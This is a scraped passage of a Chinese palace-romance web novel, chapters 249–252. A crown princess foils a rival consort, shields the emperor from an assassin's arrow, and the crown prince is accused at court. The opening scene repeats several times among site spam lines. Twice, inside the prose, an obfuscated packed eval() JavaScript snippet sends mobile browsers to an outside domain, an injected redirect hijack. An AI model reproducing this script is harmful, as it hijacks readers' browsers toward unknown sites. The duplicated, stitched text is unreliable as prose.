“殿下,妾身知道您无法原谅曾经的欺骗,但妾身是您的表妹,妾身日后只会忠诚于您一人。”苏灵音含情脉脉,情真意切的说道。 裴墨染只觉得讽刺,他要苏灵音的忠诚有什么用? “若是说完了,本宫就走了,下次你再寻死就用**、**、鹤顶红,死干净点。”他转身就走。 苏灵音的脆弱的表情一瞬间变得怨毒,她的手背青筋暴起,“听说殿下跟太子妃吵架了?是因为昨日丧礼上的意外?” 裴墨染的脚步一顿,他的眸如鹰隼般残忍,“你想说什么?” “呵……妾身只是觉得太子妃太离经叛道,太过分了,殿下对她生气也是难免。”苏灵音阴阳怪气道。 他的心里很不舒服。 不是因为别的,而是因为苏灵音的话跟他昨日对蛮蛮说的话如出一辙。 一个外人这样攻讦蛮蛮,而他居然昨日也这样攻讦蛮蛮…… 他有种大彻大悟之感。 “你以为这样就能离间本宫跟太子妃?”他加快步伐。 就在一只脚即将踏出寝殿时,苏灵音拔高了声音:“殿下!妾身知道了太子妃一个秘密!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 看到他的瞬间眼神复杂爱恨交缠更多的却是不甘。 “参见殿下……”她颤抖着起身 “别装了说吧!”他轻扬下巴眼神中的奚落藏不住。 “殿下妾身知道您无法原谅曾经的欺骗但妾身是您的表妹妾身日后只会忠诚于您一人。”苏灵音含情脉脉情真意切的说道。 裴墨染只觉得讽刺他要苏灵音的忠诚有什么用? “若是说完了本宫就走了下次你再寻死就用**、**、鹤顶红死干净点。”他转身就走。 苏灵音的脆弱的表情一瞬间变得怨毒她的手背青筋暴起“听说殿下跟太子妃吵架了?是因为昨日丧礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049810|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的意外?” 裴墨染的脚步一顿他的眸如鹰隼般残忍“你想说什么?” “呵……妾身只是觉得太子妃太离经叛道太过分了殿下对她生气也是难免。”苏灵音阴阳怪气道。 他的心里很不舒服。 不是因为别的而是因为苏灵音的话跟他昨日对蛮蛮说的话如出一辙。 一个外人这样攻讦蛮蛮而他居然昨日也这样攻讦蛮蛮…… 他有种大彻大悟之感。 “你以为这样就能离间本宫跟太子妃?”他加快步伐。 就在一只脚即将踏出寝殿时苏灵音拔高了声音:“殿下!妾身知道了太子妃一个秘密!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 看到他的瞬间,眼神复杂,爱恨交缠,更多的却是不甘。 “参见殿下……”她颤抖着起身,跪在榻上。 “别装了,说吧!”他轻扬下巴,眼神中的奚落藏不住。 “殿下,妾身知道您无法原谅曾经的欺骗,但妾身是您的表妹,妾身日后只会忠诚于您一人。”苏灵音含情脉脉,情真意切的说道。 裴墨染只觉得讽刺,他要苏灵音的忠诚有什么用? “若是说完了,本宫就走了,下次你再寻死就用**、**、鹤顶红,死干净点。”他转身就走。 苏灵音的脆弱的表情一瞬间变得怨毒,她的手背青筋暴起,“听说殿下跟太子妃吵架了?是因为昨日丧礼上的意外?” 裴墨染的脚步一顿,他的眸如鹰隼般残忍,“你想说什么?” “呵……妾身只是觉得太子妃太离经叛道,太过分了,殿下对她生气也是难免。”苏灵音阴阳怪气道。 他的心里很不舒服。 不是因为别的,而是因为苏灵音的话跟他昨日对蛮蛮说的话如出一辙。 一个外人这样攻讦蛮蛮,而他居然昨日也这样攻讦蛮蛮…… 他有种大彻大悟之感。 “你以为这样就能离间本宫跟太子妃?”他加快步伐。 就在一只脚即将踏出寝殿时,苏灵音拔高了声音:“殿下!妾身知道了太子妃一个秘密!” 你的朋友正在书荒,快去帮帮他吧 看到他的瞬间,眼神复杂,爱恨交缠,更多的却是不甘。 “参见殿下……”她颤抖着起身,跪在榻上。 “别装了,说吧!”他轻扬下巴,眼神中的奚落藏不住。 “殿下,妾身知道您无法原谅曾经的欺骗,但妾身是您的表妹,妾身日后只会忠诚于您一人。”苏灵音含情脉脉,情真意切的说道。 裴墨染只觉得讽刺,他要苏灵音的忠诚有什么用? “若是说完了,本宫就走了,下次你再寻死就用**、**、鹤顶红,死干净点。”他转身就走。 苏灵音的脆弱的表情一瞬间变得怨毒,她的手背青筋暴起,“听说殿下跟太子妃吵架了?是因为昨日丧礼上的意外?” 裴墨染的脚步一顿,他的眸如鹰隼般残忍,“你想说什么?” “呵……妾身只是觉得太子妃太离经叛道,太过分了,殿下对她生气也是难免。”苏灵音阴阳怪气道。 他的心里很不舒服。 不是因为别的,而是因为苏灵音的话跟他昨日对蛮蛮说的话如出一辙。 一个外人这样攻讦蛮蛮,而他居然昨日也这样攻讦蛮蛮…… 他有种大彻大悟之感。 “你以为这样就能离间本宫跟太子妃?”他加快步伐。 就在一只脚即将踏出寝殿时,苏灵音拔高了声音:“殿下!妾身知道了太子妃一个秘密!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 看到他的瞬间,眼神复杂,爱恨交缠,更多的却是不甘。 “参见殿下……”她颤抖着起身,跪在榻上。 “别装了,说吧!”他轻扬下巴,眼神中的奚落藏不住。 “殿下,妾身知道您无法原谅曾经的欺骗,但妾身是您的表妹,妾身日后只会忠诚于您一人。”苏灵音含情脉脉,情真意切的说道。 裴墨染只觉得讽刺,他要苏灵音的忠诚有什么用? “若是说完了,本宫就走了,下次你再寻死就用**、**、鹤顶红,死干净点。”他转身就走。 苏灵音的脆弱的表情一瞬间变得怨毒,她的手背青筋暴起,“听说殿下跟太子妃吵架了?是因为昨日丧礼上的意外?” 裴墨染的脚步一顿,他的眸如鹰隼般残忍,“你想说什么?” “呵……妾身只是觉得太子妃太离经叛道,太过分了,殿下对她生气也是难免。”苏灵音阴阳怪气道。 他的心里很不舒服。 不是因为别的,而是因为苏灵音的话跟他昨日对蛮蛮说的话如出一辙。 一个外人这样攻讦蛮蛮,而他居然昨日也这样攻讦蛮蛮…… 他有种大彻大悟之感。 “你以为这样就能离间本宫跟太子妃?”他加快步伐。 就在一只脚即将踏出寝殿时,苏灵音拔高了声音:“殿下!妾身知道了太子妃一个秘密!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第249章 她在复仇,你们被骗了 裴墨染身形一顿,他驻足。 蛮蛮的秘密? 蛮蛮跟他亲密无间,能有什么秘密? 不过也不是不能听听,倘若苏灵音意欲构陷蛮蛮,日后他也好给蛮蛮托底。 “太子妃……” “是吗?”云清婳施施然从外走了进来,“苏侧妃知道我什么秘密?竟不惜以死为饵,将殿下引来?” “蛮蛮?!”裴墨染有些诧异。 他没想到蛮蛮也会跟来。 云清婳的眼神穿过他,直勾勾看着榻上的苏灵音。 苏灵音的眼中满是轻蔑,她心中冉冉升起了报复的快感。 云清婳,你是不是很害怕!? 我知道你勾引裴墨染、裴云澈是为了给谢容音报仇! “太子妃怎么知道妾身是骗人的?”苏灵音挑眉,她的鼻子歪斜,实在没什么美感。 “那你讲出来听听啊,我也很好奇。”云清婳笑吟吟的,看不出破绽。 苏灵音一愣,似乎没想到云清婳这么坦然。 “好!”她眼中的毒怨快要泄出来。 她正欲启唇,云清婳的手落在了腰间悬挂的白玉玉佩上。 苏灵音看到玉佩,眸子涣散,额上泌出了细碎的汗珠。 这是……小弟的贴身玉佩! 这个**把小弟怎么样了? 小弟不会出事了吧? “苏侧妃要想清楚,别说一些子虚乌有的事,惹得殿下不悦。”云清婳尾音上扬,像在逗弄一只宠物。 裴墨染催促道:“说啊,本宫倒是想听听你的荒唐话。” 苏灵音面色惨白,她沉默了半晌,忍着泪,不甘道:“妾身……只是想让殿下留下,妾身撒谎了。” 裴墨染的眼神冷得几乎能将人冻死。 有病! “疯妇!日后再犯病,谁都不许救!”他无情的命令。 在场所有婢女、太监跪了一地,他们齐声道:“是。” 苏灵音**地流下眼泪,后槽牙磨得硌吱硌吱想,恶狠狠看着云清婳。 云清婳勾唇。 想要揭露她的秘密? 苏灵音,你该**。 …… 裴墨染知道云清婳不愿与他同床共枕,送 云清婳回玄音阁的路上,他开口道:“蛮蛮,我想明白了。我们是夫妻,昨日你是为了我好,可我却像外人那样指责你。” “方才听见苏灵音诋毁你,我才知道我有多过分。” “我离经叛道的事也做过不少,我没有资格怪你。” 云清婳如死水般沉寂的眸一转,“我对这个答案不满意,你让我生气的原因,不仅仅是这个。” 如果狗男人不能悟出他手不染尘,是她跟云家在负重前行换来的,看不清局势,那就没必要和好。 “……”裴墨染有些无措。 他还有什么错? …… 裴墨染陷入了一个自证的怪圈。 像是为了证明他没有不认同云清婳的所作所为,他一连三日,分别去了姜瑶儿、陈如燕、柳玉的院子,彰显自己对她们的重视、宠爱。 但他什么都没有,只是和衣而眠,因为他莫名觉得良心不安,对不住蛮蛮。 在没有跟蛮蛮和好之前,他不想也不敢碰其他女人。 除此之外,他还去了落霞斋,明示暗示让魏娴帮他说好话。 魏娴是个聪明人,自然听得懂弦外之音,口头上答应了。 转眼间,半个月过去了。 裴墨染信守承诺没有来玄音阁,每日清晨匆匆看过孩子们便去上朝,每晚都宿在勤政殿。 魏娴坐着轿子去了玄音阁。 云清婳立即命人将门窗阖上,“阿娴,你还在坐月子,受凉了怎么办?” “殿下催得急。”魏娴叹了口气,她也很是无奈。 这件事,云清婳早就说给魏娴听了。 魏娴并不觉得出丧棒的事有什么,反而惊叹云清婳的魄力。 “蛮蛮,我知道你忍不下这口气,但这样耗着也不是办法,为了承基,你们总得和好的。”魏娴语重心长地说。 “我得让裴墨染认清自己的错误再和好。将来,我想做的事情也很离经叛道,我得拉低他的底线,让他不敢忤逆我一丝一毫。”她道。 她想杀了皇后! 为了给这件事做铺垫,她得温水煮青蛙一样拉低裴墨染的底线。 同时,也让裴墨染明白,他有今日,有一大部分是她的功劳! 他必须得认 清这一点! “蛮蛮,虐虐他也好!居然敢对你这个金主这么说话!魏娴调侃道。 金主? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053967|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她喜欢这个词。 云清婳嗤嗤地笑了,“阿娴学坏了。 魏娴的双颊泛红,表情渐渐严肃,“你少打趣我了!对了,我的人看见苏灵音的人联络贤王了,恐怕又在憋坏水。你得看好苏灵音,万不能让她离开。 她了然,在裴墨染这里碰了壁,苏灵音自然想在裴云澈那里找补回来。 毕竟在苏灵音心中,她攥着天大的秘密! “无妨!我愿意看她自取其辱!她别有深意地说。 魏娴听不懂她的意思,但没有问。 若是可以说,蛮蛮自然会跟她说。 …… 苏灵音借着找神医治鼻子的名义出了东宫,云清婳允许了。 她在街上找了一家医馆,随后鬼鬼祟祟地从后面溜走。 在苏家暗卫的掩护与贤王府的接应中,她从后门溜进了贤王府。 裴云澈此时正坐在凉亭下弹琴。 他满脑都是两年前跟蛮蛮品茶闻琴的画面。 倘若那时他坚定勇敢一点,娶了蛮蛮,或许今日就是另一番光景了吧? “贤王好雅兴!苏灵音掀开兜帽,大步走来,她的脸上带着傲然。 裴云澈面带笑容,可眼底的鄙夷根本藏不住。 “就是你要跟本王说秘密?他讥诮地问。 他想不通,苏灵音已经是落水狗,鼻骨都歪了,她还在挣扎什么? 苏灵音颔首,“这个秘密,或许会让贤王殿下大彻大悟,痛彻心扉呢。 “呵……裴云澈笑了,他拨弄琴弦,高山流水般的曲调悠扬婉转,“说吧,本王很期待。 她不在乎他的轻慢,一会儿听了真相,看他还笑不笑得出来。 “云清婳是为了报仇才接近你的!苏灵音故意缓慢地吐字,“你可还记得顾笛风将军?他的死有蹊跷吧? “谢容音跟云清婳感情极深,从小形影不离,宛若亲姊妹。你说谢容音**,跟顾笛风的死有没有关系? “你觉得云清婳会不会恨你?你觉得她接近你的目的是什么? 噔—— 筝错了一个音。 琴音陡然消失。 裴云澈抬起眼,面色铁青,可很快他就恢复融融的笑意,“本王早就知道了!蛮蛮为了表姐想报复本王! 苏灵音瞪圆了眼,难以置信的看着他,五官抽搐。 第250章 心疼男人,倒霉一辈子 有毒吧? 为什么一个两个都像被灌了迷魂药? 裴墨染说愿意被戴绿帽子,裴云澈又说早知道云清婳在报复他? 他们都疯了吗? “那又如何?”蛮蛮像一株罂粟,有毒却又美丽,让人忍不住想要靠近。 他一开始抗拒蛮蛮,虽然感情甚笃,却不与她露白,就是这个原因。 可蛮蛮嫁给裴墨染的第二日,为了他伤心欲绝,差点跳湖自尽,那一刻他才敢交出真心。 因为他确定蛮蛮放弃了复仇! 全身心地爱他! “她害你,你也不在乎?”苏灵音气得不轻,她的声音拔高。 “蛮蛮不会害我。”裴云澈一字一顿。 蛮蛮在江城与他成婚,甘愿放弃太子妃的身份,敢问世间哪个女子做得到? “愚蠢!你真对她动情了?裴云澈,亏我先前还觉得你高瞻远瞩、深谋远虑,没想到也是一个满脑情爱的蠢货!”她崩溃地咆哮。 这个秘密,明明是一张极其有力的牌! 为何成了废牌? 裴墨染、裴云澈脑袋有坑,两个蠢货! “把这贱妇丢出去!”裴云澈叱骂,眼神像在看渣滓。 几个侍卫粗鲁地抓住苏灵音的肩膀,将她拖到后门,狠狠丢了出去。 苏灵音的身子砸在地上,疼得不行,眼泪都出来了。 但她也只能忍下。 毕竟裴云澈被禁足了,她私闯贤王府,违抗圣旨,可是重罪。 …… 又过了半个月,裴云澈解禁了。 他所管辖的嘉宁郡政通人和,今年上贡的织锦、粮食、赋税加倍,百姓十分富庶。 这引得龙心大悦,也正中皇上下怀,皇上当即给裴云澈解禁,让他重归朝堂。 消息很快就传到了玄音阁。 云清婳对此并不惊讶,裴云澈并非酒囊饭袋,他满腹经纶,才思敏捷,再加上嘉宁郡本就气候宜人,地势平坦,水路畅通。 有这样得天独厚的优势,把嘉宁郡治理好并不难。 养私兵的事不了了之,脏水全被泼到周望舒等人的头上。 而裴墨染却头疼了。 裴云澈这次回归,与从前截然不同。 他比从前收敛许多,表面上人淡如菊,不争不抢,可私下却用尽全力与裴墨染抢功。 这些日子,裴墨染宿在勤政殿,没回过东宫。 深夜,裴墨染倚靠在檀木椅上,他的眼睛都熬红了,他看着字迹密密麻麻的卷宗,“十万两官银不翼而飞,皇上已经派本宫调查,裴云澈为何非要横插一脚?” “为了重获圣宠,贤王必会使劲全身解数,意图压过您。”诸葛贤淡淡道。 裴墨染的眼中冒出森然的寒气。 千防万防,没成想裴云澈这么快就出来了! “殿下玉体贵重,更深露重,还是回东宫吧。”诸葛贤的眼皮子都快睁不开。 裴墨染的心骤然紧缩。 他也想回东宫,可蛮蛮不愿意见他,他回去有什么意思? 还不如待在勤政殿。 “时候不早了,诸葛先生快回府吧。”他垂眼,端起一杯凉透的茶水抿了一口。 诸葛贤微不可闻地叹息,他深深鞠了一躬,“殿下,夫妻之间贵在坦诚,太子妃并非小气之人,逃避是下下策。更何况如今贤王虎视眈眈,您与太子妃更应该同心同德。” “本宫不曾逃避!”裴墨染急声解释。 他堂堂战神,领兵作战无数怎么可能逃避? 诸葛贤的老眼闪烁着睿智的光,他心知肚明,若不是太子妃把殿下赶出来,殿下怎会宿在勤政殿? “敢问赤阳王丧礼的事还未解决吗?” “诸葛先生……”裴墨染将事情的原委说了出来。 诸葛贤的脸色愈来愈难看,像是吞了一只苍蝇,“这……” “诸葛先生,你来评评理!这件事,蛮蛮没错,可本王的本意也没错对吧?”裴墨染心中的委屈,像是泄了闸的洪水奔流而出。 诸葛贤:…… 裴墨染接着道:“对死者尊敬不对吗?诸葛先生,你说呢?” 王显心里的白眼都快翻上天了。 “殿下自然没错,死者为大。”诸葛贤一脸便秘的表情,他用袖子擦了擦额角上的汗。 听了殿下的描述,诸葛贤瞬间明白了太子妃生气的原因。 太子妃是一个优秀的贤内助,她辅弼殿下的次数不比他少。 可殿下却抓住一件芝麻小事责怪她。 是个人都会寒心。 “诸葛先生,你是站在本宫这边的对吧?你也觉得本宫没错对吧?”裴墨染的脸色好转,像是找到了知音。 “咳咳咳……”诸葛贤狂咳不止,脸都绿了。 他才不站在殿下这一边! 诸葛贤的腰弓着,急忙道:“殿下!老夫只是一介乡野村夫,哪敢妄议您的家事?老夫惶恐!” “诸葛先生觉得本宫不对?那好,你跟本宫说说,本宫有什么错?”他有些着急,腾的站起身。 若是他不对,诸葛先生就告诉他原因。 这样他也好给蛮蛮答案,然后跟蛮蛮和好。 这章没有结束,请点击下一页继续阅读!诸葛贤欲言又止,最后道:“微臣不知。” 这个答案,需要殿下自己领悟。 想必这也是太子妃的意思。 就算他说给殿下听,殿下不往心里去也没用。 他看出诸葛贤故意不说,烦躁地摆摆手,“退下吧!” …… 太后的寿宴转眼就到了。 太后崇尚节俭,她将主持寿宴的权力交给了云清婳。 但其实寿宴的大小事宜全权由内务府、礼部以及桂嬷嬷负责。 云清婳明白,太后是在帮她出气,既是敲打皇后,也是在帮她立威。 皇上跟皇后驾到时,云清婳明显看出了皇后的憔悴。 虽然皇后满身华丽,浓妆艳抹,胭脂水粉、口脂没一样落下,但发黄的眼白,凹陷的双颊,暴露了她的窘迫、清瘦。 反观虞贵妃,气色红润,只是略施粉黛却媚得如同三十岁上下的少妇,体态似乎丰腴了几分。 宴席上,皇亲国戚陆陆续续到来。 裴墨染从勤政殿赶来,他看见云清婳时两眼放光,跟猫见到老鼠似的,忙不迭在她身边坐下。 云清婳今日穿着华丽的太子妃服制,戴着点翠冠,面上点缀着珍珠花钿。 两个孩子被太后、皇上抢着抱,皇后一碰孩子,孩子就哭。 这可不是云清婳教的,或许是磁场不合,亦或是面由心生,皇后的内心丑陋被孩子纯洁的眼睛捕捉,所以吓到孩子了。 “蛮蛮,你的新梳篦真好看。”裴墨染不遮不掩地侧头看着她,眼中闪烁着星星点点的光。 云清婳垂下眼睫,并不想搭理。 魏娴坐完月子了,她生了皇嗣,也被允许参加寿宴。 她接话道:“殿下能看出太子妃的梳篦是新的?” “自然,蛮蛮之前喜欢戴白岫玉梳篦,今日戴的是翡翠梳篦,上面还雕了梅花。”裴墨染有条不紊的说道。 他说的全对! 云清婳的眸子一轮,缓缓瞥向他,“……” “太子心中都是太子妃。”魏娴当起了和事佬。 “蛮蛮,你理理我好不好?”裴墨染将唇落在她耳边,用近乎祈求的语气撒娇,姿态放得很低。 云清婳不语。 整个宫宴上,裴墨染一直用可怜巴巴的眼神看着云清婳。 就像是被主人抛弃的小狗。 可云清婳视而不见。 就连魏娴都恍惚了,她对裴墨染都生出了一丝丝怜悯。 但她很快就反应过来——心疼男人,倒霉一辈子! 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第251章 蛮蛮护驾有功 云清婳的眼波流转,她掐算了下手指,突然想到了一个剧情。 原剧情中,太后寿宴上,睿王瞒着所有人,派刺客刺杀皇上。 暗处的刺客一箭射了过去。 皇上的胸口中箭,险些毙命。 多亏了姐姐医术精湛,为皇上取出带毒的箭头,皇上才得以活命。 皇上感激之下,给当时被囚禁的裴墨染解了禁。 既然狗男人不知感恩,她就不能把好处让给狗男人。 哪怕这次的好处要付出鲜血的代价,她也要独吞! 思及此,云清婳悄悄喂给自己一颗吊命丸。 这是事先准备的。 她拿起了拨浪鼓,走到上首,“陛下,这个时辰,承基、辞忧该吃饭了。” 皇上爱死不死,但是别害她的孩子! “吃饭!”辞忧说着口水拉丝,流得老长。 承基的口水也哗哗流出来,“肉!” “哈哈哈哈……”皇上洪亮的笑声传遍了宴厅,“好!这两个小家伙胃口好,难怪长得这么结实。” “定是被陛下的真龙之气庇佑,两个孩子才会这么康健地长大。”云清婳福福身。 皇上对她的话很满意,他的唇角上扬。 御前嬷嬷跟御前太监立即将皇子抱走。 宫殿的角落,蛰伏在暗处的杀手露出水面。 侍奉的人群中,一个端着酒水的太监忽然抬起手臂,他把袖子捋开,只见他的前臂戴了一个弓弩。 弓弩口对准了皇上。 皇上似有所觉,他凌厉的眸子一轮,正对上锋利的箭头。 “护驾!”皇上大叫。 “啊?”殿上一片慌乱。 许多人没有注意到刺客。 御林军闻言,警惕地冲进宴厅,他们东张西望,想要锁定刺客。 可人多,太杂乱,无法锁定目标。 裴墨染敏锐地察觉到了刺客,朝他箭步冲去。 眨眼的功夫,电光火石间,咻—— 箭射了过来。 皇上想要躲避,可毕竟年纪大了,已经不再年轻,身子行动缓慢。 云清婳朝着皇上扑了过去,将背对准刺客,“皇上当心!啊——” 一声娇弱尖细的惨叫在宫殿回荡。 箭射中了云清婳背脊。 剧痛袭来,痛感从脊椎传遍了四肢百骸,一瞬间头皮都是痛的,体内每一个细胞好像都要裂开。 除了分娩,她从未这么痛过! 她浑身起了一层冷汗,眼前一黑,晕了过去。 “蛮蛮!”裴墨染大声惊叫。 他还是晚了一步,他眼眸泛红,将刺客制服。 “来人来人!传太医!快救太子妃!”皇上双手扶着昏厥的云清婳,暴怒地低吼。 裴云澈不顾仪态地往前走了好几步,眼底潮湿,他想要看看蛮蛮。 可裴墨染快一步冲上前,他弯下腰。“父皇,将蛮蛮交给儿臣。” 皇上跟桂嬷嬷让云清婳转了个身,让她趴在裴墨染的背上。 裴墨染抄近路,朝太医院冲去。 裴云澈克制住汹涌的情潮,张望着娇弱的人儿。 鲜红的血在锦绣华服上渐渐晕开,让他的心脏发痛。 皇上的脸色黑沉,语气像是淬了冰,“拿下刺客严加盘问!太子主办、贤王、睿王辅助!” “是。”裴云澈、睿王异口同声。 在场的人无不慌乱、担忧,面色凝重。 唯有皇后的嘴角抽搐着,极力压制住笑。 云贱人,你可千万别让本宫失望,快快去死吧! 你死了,墨染就会乖乖听话了。 你的两个孩子,本宫也会让灵音养着。 等灵音诞下皇子,承基定会作为臣子,好好辅佐他。 金嬷嬷吓得双腿哆嗦,她不安地给皇后递了个眼神。 皇后娘娘,您是一国之母,母仪天下,可千万不能笑啊。 皇后在金嬷嬷耳边道:“这个贱婢,终于要死了!” 但这一切都被皇上尽收眼底,皇上眼中的厌恶不断加深。 太后被吓得不轻,她捂着心口,“皇上,清婳不能出事啊,孩子不能没有娘啊。” “儿臣知道!您放心,您放心,朕一定让太医治好太子妃!太子妃救驾有功,朕会重赏她。”皇上信誓旦旦,就好像他能掌控所有人的生命。 太后含着泪,缓缓点头,“清婳,是个好孩子。” “是啊,清婳是个好孩子。”皇上叹息般吐出这句话。 …… 裴墨染背着云清婳在宫道上狂奔,他的眼眸酸涩,“蛮蛮,你一定不能出事……” “孩子还没有长大,我们说好的要白头到老,含饴弄孙……” “蛮蛮,你不要睡,我求你不要吓我……” “要是没有你,我该怎么办?” 裴墨染的脑中全是他日后鳏寡孤独的模样。 没了蛮蛮,他就算登基为帝又如何? 世上再也没人会真心对他了。 …… 云清婳睁开眼时,已经不知道今夕何夕,窗外天光大亮,鸟儿在枝头上跳来跳去,叽叽喳喳。 飞霜松了口气,忙不迭给她倒了杯水,将水杯放在她乌紫色的唇瓣上,“主子,快喝点解毒水。” 本小章还未完,请点击下一页继续阅读后面精彩内容!她的喉咙干得都快冒烟,咕咚咕咚喝了好几口,“我……没事吧?” “主子,还好您提前服用了吊命丸。”飞霜的眼泪在眼眶打转,“您的伤口射得好深,好在没有伤及五脏六腑,毒素也被赵太医解了。多亏了殿下……” “这是……哪里?我昏迷多久了?”她有气无力地问。 飞霜哽咽道:“这里是太后的寝宫,这里离太医院近,您已经昏睡三日了,皇上下令,什么好的药材都先紧着您用,让太医院务必将您治好。皇上还亲自来看过您一次呢。” 闻言,云清婳的眉宇舒展,眼中迸发出野心勃勃的光芒。 她知道,她赌对了! 皇上在感激她。 哪怕只有丝毫,也够了。 “裴墨染呢?”她问。 飞霜的眉头一蹙,“裴云澈好像跟睿王联手了,殿下追查刺客一事,似乎不太顺利。” 就在这时,门被叩响。 云夫人、姜柔穿着诰命夫人服制走进来。 “娘、嫂嫂……”云清婳的眼泪从眼角滑下。 “蛮蛮……”云夫人快步跑到榻前,她早已泪流满面。 姜柔用帕子擦着眼泪,“太后娘娘宅心仁厚,特意召娘跟我进宫来看看你。” 云夫人拧了把帕子,给她擦拭着脸跟手。 她哭得像个孩子,呜呜咽咽地说:“你这个死丫头,不要命了?你挡什么挡?你有九条命?那日娘看见你中箭,心都疼死了。” 云清婳并不准备隐瞒,她道:“我想着,赌一把,或许能得圣上眷顾。” 她对皇上有恩,将来皇上总不会亏待她。 云夫人、姜柔皆倒吸了口凉气。 她们早知这丫头与常人不同,心肠狠,却没想她对自己也这么狠。 “日后不许了!你二哥都吓哭了!娘求你,就当为了爹娘,别折腾了好不好?娘不要你荣华富贵,娘只要你平平安安。”云夫人训斥着,可眼泪噗噗地掉。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第252章 裴墨染被疯狂PUA “……”云清婳看着云夫人,唇瓣抿着。 她没法答应。 她要的从来不是荣华富贵,她要复仇,伤害姐姐的人,都去死! 姜柔的眸色暗淡,她正色道:“蛮蛮,听夫君说,前朝的态势不容乐观。睿王跟贤王联手了,他们诬陷刺客是裴墨染的人,太后寿宴的事是你们夫妻俩自导自演。” “荒唐!若是自导自演,蛮蛮何必挡这一箭?”云夫人破口大骂。 “据说是发现刺杀的弓弩的箭镞是来自裴墨染的麾下。”姜柔道。 云清婳早就料到会是这个局面。 睿王不聪明,但也并非蠢货。 自然不会堂而皇之地刺杀。 但裴墨染也不是吃素的。 她的神情一凛,“无妨,吓吓裴墨染也好,谁让他不知感恩呢?” …… 朝堂上。 一众官员攻讦裴墨染,说此次刺杀、救驾是自导自演。 上首,皇上的脸色黑沉,变幻莫测,眼神无情地刺向裴墨染。 睿王双手呈上中伤云清婳的箭镞,他的声音洪亮:“陛下请看,此箭的箭头上刻着神机营三字,这正是太子殿下曾经统领的部下。” 裴墨染出列,他跪在殿中央,坦然地解释:“儿臣冤枉!倘若此次刺杀是儿臣所为,太子妃何必挡箭?” “太子妃一介女流,或许的确不知情,拳拳之心,让人动容!但太子殿下行动如风,最先发现刺客,实在让人不得不怀疑。”裴云澈出列。 睿王跟裴云澈交换了一个眼神。 二人打配合,一唱一和,十分默契。 裴墨染心中的恨意翻涌。 裴云澈这个蛇鼠两端的贱人,早知如此,当初在蜀地就该废了他! 这一刻,他像是被人打了一记耳光,大彻大悟。 赤阳王的丧礼上,蛮蛮为了辖制裴云澈弄断了出丧棒,可他却严肃的责怪蛮蛮! 蛮蛮这是对他寒心了。 “儿臣已经是太子,怎会生了谋逆之心?怕不是幕后黑手,另有其人。”裴墨染瞥了他们二人一眼。 睿王讽刺道:“物证在此,太子还不肯认罪?或许是因为太子殿下等不及了吧!” “太子嫌疑重大,还请陛下严查东宫!”虞将军出列。 睿王一党以及虞将军的亲信不约而同出列,“还请陛下严查东宫!” 贤王一党出列,“还请陛下严查东宫。” 大殿上瞬间跪了六成人! “陛下,以防万一,不如先将东宫禁足!以免发生意外,脏水泼到东宫身上。”虞将军轻蔑地瞥了眼裴墨染。 皇上的眸色一黯,视线从每个人的身上扫过,“……” “儿臣冤枉!求皇上给儿臣机会,严加调查此事。”裴墨染的手捏紧,脸上冒出涔涔汗珠。 皇上未置可否,眼中写满了狐疑。 坐在高位上,他早就养成了不信任所有人的习惯…… 哪怕是云清婳救了他的性命,他也没有十足的信任她。 云丞相、云隽、云褚站得笔直。 云隽:爹,咱们管不管太子? 云丞相:他那样对蛮蛮,老子懒得理他! 云褚:对!就不管这个白眼狼!给蛮蛮出气! 祝国公也没有出列。 祝国公:你们不管,那我也不管!我媳妇不让我管! “……” 朝堂落针可闻,鸦雀无声。 没有等来意料之中的帮携,裴墨染登时慌了。 他回头看去,他身后空无一人,云丞相、赵国公没有出列。 “陛下,仅凭箭镞怎能轻易给东宫定罪?陛下三思啊!”云丞相出列,他临时变卦了。 毕竟是女婿,云丞相不可能眼睁睁看着亲女儿、亲外孙被禁足。 “陛下,不如查一查兵器库的弓弩以及神机营兵器的损耗?”祝国公见云丞相出动,他也拱手道。 剩下的四成文官整齐跪下,“求陛下三思!” “求陛下三思!” 裴墨染狂乱的心跳瞬间得到了安抚,顷刻间,他有了底气。 他的眼底发热,竟然有种劫后余生的松快感。 一路走来,诸多不易,是蛮蛮跟云家成就了他。 可他却责怪蛮蛮,说蛮蛮的所作所为大逆不道、有违纲常。 他能有今日,明明享受着蛮蛮带来的好处,可他却跟瞎了一样,看不到她的付出,还冠冕堂皇地指责她。 皇上尖锐的目光从裴墨染身上划过,“监察院跟大理寺严查兵器库、神机营!” “是!”监察御史、大理寺卿拱手。 …… 退朝后,裴墨染立即赶去慈宁宫。 云夫人、姜柔已经走了。 云清婳喝了药,正趴在绵软的榻上,她服用了飞霜做的止痛药,背上的伤口并不是很痛。 她的胃口不算差,喝了些粥,吃了皇上送来的补品。 “主子,也不知道朝堂上是什么情况,殿下会不会被下狱或者禁足啊?”飞霜有些担心。 她倒不是担心裴墨染,她担心主子受牵连。 